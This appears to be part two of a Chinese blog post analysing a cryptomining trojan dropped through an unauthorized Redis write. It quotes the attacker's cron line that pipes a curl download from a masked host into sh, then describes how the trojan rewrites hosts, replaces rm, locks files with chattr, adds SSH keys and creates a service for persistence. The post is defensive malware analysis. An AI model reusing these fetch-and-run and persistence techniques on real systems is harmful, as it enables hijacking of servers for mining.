对一次 redis 未授权写入攻击的分析以及学习( 二 )


* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh-f:不输出错误
-s: 静默不输出
-S: -s 条件下输出错误
-L: 跟踪重定向

对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
在确定了攻击者攻击并没有成功以后,我下载了木马,然后简单的分析了一下,看看有没有什么操作我没有检测到的 。
1.看一下 main 函数整体的调用
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
可以说是非常的简洁明了了,木马开始运行以后依次调用了
mark() background()sethosts()checkhost()checkzigw()initfiles()checkcrontab()checkssh()kill()checkservice()clean()从函数名字大概就能知道木马做了些什么,应该对 crontab ssh hosts 文件都做了修改,我们来一个一个看一看 。
2.mark()
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
简单的创建了一条命令,并通过 sys 函数进行执行,这个命令的作用是创建一个空文件,从 mark() 这个函数名字可以猜测来这个空文件的作用可能是做为一个该木马有没有成功运行起来的标记
3.background()
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
设置进程后台运行,并改变工作目录为根目录
4.checkhost()
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
删除主机原始的 hosts 文件然后,重新创建空的 hosts 文件,并添加一系列的域名指向 127.0.0.1
而这些域名经过访问都是一些矿池
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 

对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
5.checkzigw()
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
检测系统中是否存在 /etc/zigw、/tmp/zigw、/etc/zjgw,这些文件,如果有的话,就结束对应的进程并且删除对应的文件
其中:chattr -ia 这条命令是关闭可能让文件无法删除的属性,具体可以看 这里
6.initfiles()
该函数的作用主要是下载挖矿木马,并且修改 rm,首先是会检测当前的权限,如果是 root 就把木马下载到 /etc 目录下,如果不是 root 的话就下载到 /tmp 目录下
root 权限
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
非 root 权限
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
除了下载 pdvs 以外,还下载了 httpdz 和 migrations 这两个文件,除此之外如果是在 root 权限下就还有一个替换系统 rm 命令的操作
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
rm 文件只有一个函数,既然替换了这个文件,那么一定是非常关键的东西,我们来分析一下
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
这脚本的地址是什么呢?看一下 curlurl 变量的交叉引用
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
其实下载下来就是我们最上面分析的那个 sh 文件,也就是说这里的替换实际上是一个双重保险
7.checkcrontab()
该函数主要是对 /var/spool/cron/root 这个文件的内容进行检查,看看是不是有自己写的内容,如果没有则调用命令重新写入
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
另外这里面还使用了 chattr 这个命令对文件的额外属性进行添加和删除,防止文件内容被轻易修改,例如:
chattr +i 防止系统中某个关键文件被修改
chadttr +a 让某个文件只能往里面追加数据,但不能删除
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
8.checkssh()
root 权限下可执行这个函数,检查 /root/.ssh/authorized_keys 是否存在,不存在则重新创建
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
9.kill()
清理自己创建的一些进程和文件
对一次 redis 未授权写入攻击的分析以及学习

文章插图
 
10.checkservice()
检测自己创建的系统服务存在,如果存在则设置开机自启,如果不存在则重新创建这个服务,服务的作用就是下载这个木马


推荐阅读